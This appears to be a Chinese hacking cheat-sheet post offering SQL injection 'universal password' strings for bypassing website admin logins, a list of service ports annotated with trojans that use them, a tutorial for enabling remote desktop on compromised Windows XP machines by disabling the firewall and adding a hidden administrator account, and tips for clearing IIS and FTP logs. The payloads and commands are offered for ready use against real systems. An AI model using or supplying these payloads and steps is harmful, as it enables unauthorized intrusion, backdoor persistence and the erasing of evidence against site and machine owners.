绕过登陆常用万能密码
所谓万能密码就是绕过登录验证直接进入管理员后台的密码,这种类型的密码可以通用到很多存在此漏洞的网站所以称之为万能。
分享给大家、、 希望对大家有所帮助!
asp aspx万能密码
1:"or "a"="a
2:'.).or.('.a.'='.a
3:or 1=1--
4:'or 1=1--
5:a'or' 1=1--
6:"or 1=1--
7:'or.'a.'='a
8:"or"="a'='a
9:'or''='
10:'or'='or'
admin’or 1=1#
PHP万能密码
admin’/
密码/‘
‘or 1=1/*
"or "a"="a
"or 1=1--
"or"="
"or"="a'='a
"or1=1--
"or=or"
''or'='or'
') or ('a'='a
'.).or.('.a.'='.a
'or 1=1
'or 1=1--
'or 1=1/*
'or"="a'='a
'or' '1'='1'
'or''='
'or''=''or''='
'or'='1'
'or'='or'
'or.'a.'='a
'or1=1--
1'or'1'='1
a'or' 1=1--
a'or'1=1--
or 'a'='a'
or 1=1--
or1=1--
通过该工具可以扫描常用的端口和指定的端口是否开放。
常用端口号:
代理服务器常用以下端口:
HTTP协议代理服务器常用端口号:80/8080/3128/8081/9080
SOCKS代理协议服务器常用端口号:1080
FTP(文件传输)协议代理服务器常用端口号:21
Telnet(远程登录)协议代理服务器常用端口:23
HTTP服务器,默认的端口号为80/tcp(木马Executor开放此端口);HTTPS(securely transferring web pages)服务器,默认的端口号为443/tcp 443/udp;
Telnet(不安全的文本传送),默认端口号为23/tcp(木马Tiny Telnet Server所开放的端口);
FTP,默认的端口号为21/tcp(木马Doly Trojan、Fore、Invisible FTP、WebEx、WinCrash和Blade Runner所开放的端口);
TFTP(Trivial File Transfer Protocol ),默认的端口号为69/udp;
SSH(安全登录)、SCP(文件传输)、端口重定向,默认的端口号为22/tcp;
SMTP Simple Mail Transfer Protocol (E-mail),默认的端口号为25/tcp(木马Antigen、Email Password Sender、Haebu Coceda、Shtrilitz
Stealth、WinPC、WinSpy都开放这个端口);
POP3 Post Office Protocol (E-mail) ,默认的端口号为110/tcp;
WebLogic,默认的端口号为7001;
Webshpere应用程序,默认的端口号为9080;
webshpere管理工具,默认的端口号为9090;
JBOSS,默认的端口号为8080;TOMCAT,默认的端口号为8080;
WIN2003远程登陆,默认的端口号为3389;
Symantec AV/Filter for MSE ,默认端口号为 8081;
Oracle 数据库,默认的端口号为1521;
ORACLE EMCTL,默认的端口号为1158;
Oracle XDB( XML 数据库),默认的端口号为8080;
Oracle XDBFTP服务,默认的端口号为2100;
MS SQLSERVER数据库server,默认的端口号为1433/tcp 1433/udp;
MS SQLSERVER数据库monitor,默认的端口号为1434/tcp 1434/udp;
QQ,默认的端口号为1080/udp
XP下双开3389的教程
用到的工具有
xp3389.exe termsrvhack.dll 3389.bat 这么几个文件
首先关他的防火墙
就在这里面输入 net stop sharedaccess 再回车就OK了
现在我们先把xp3389.exe termsrvhack.dll这2个文件传个肉鸡 3389.bat这个要修该后再传的
再运行它。看操作
OK! the Tsenabled成功
再输入Tasklist/SVC >>c:\3389.txt
再肉鸡里面找到3389.txt文件本地打开DcomLaunch, TermService 把这些英文前面的数字记下来
然后返回本地找到 3389.bat
右键编辑 把原来的覆盖掉 保持OK 再传给肉鸡 并运行他
已经OK了。好我们看下能不能连接
1:net stop sharedaccess(关掉防火墙命令)
2:Tasklist/SVC >>c:\3389.txt
3:net user 1 1 /add 意思是建立一下用户名为1密码也为1的用户
4:net localgroup administrators 1 /add 把1这个用户提升为管理员权限
日志位于/windows/system32/logfiles/w3svc1目录下!
主要原因:
C:\WINDOWS\system32\LogFiles文件夹下为系统日志统计文件,文件系统并不自动删除。
处理方法:对日志文件进行合理的清理。
清理方法如下:
找到c:/winnt/system32/logfiles/w3svc1目录下的文件,队保留最近的几个日志外,清理干净就可以了!!
FTP日志默认位置:%systemroot%\system32\logfiles\msftpsvc1\,默认每天一个。
WWW日志默认位置:%systemroot%\system32\logfiles\w3svc1\,默认每天一个日志。
强制登陆3389
mstsc /admin /v:IP:端口